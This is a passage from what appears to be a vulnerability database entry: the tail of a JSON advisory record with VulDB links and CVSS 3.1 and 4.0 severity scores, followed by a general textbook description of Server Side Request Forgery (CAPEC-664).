      "type": "WEB",
      "url": "https://vuldb.com/submit/868925"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/389528"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/389528/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list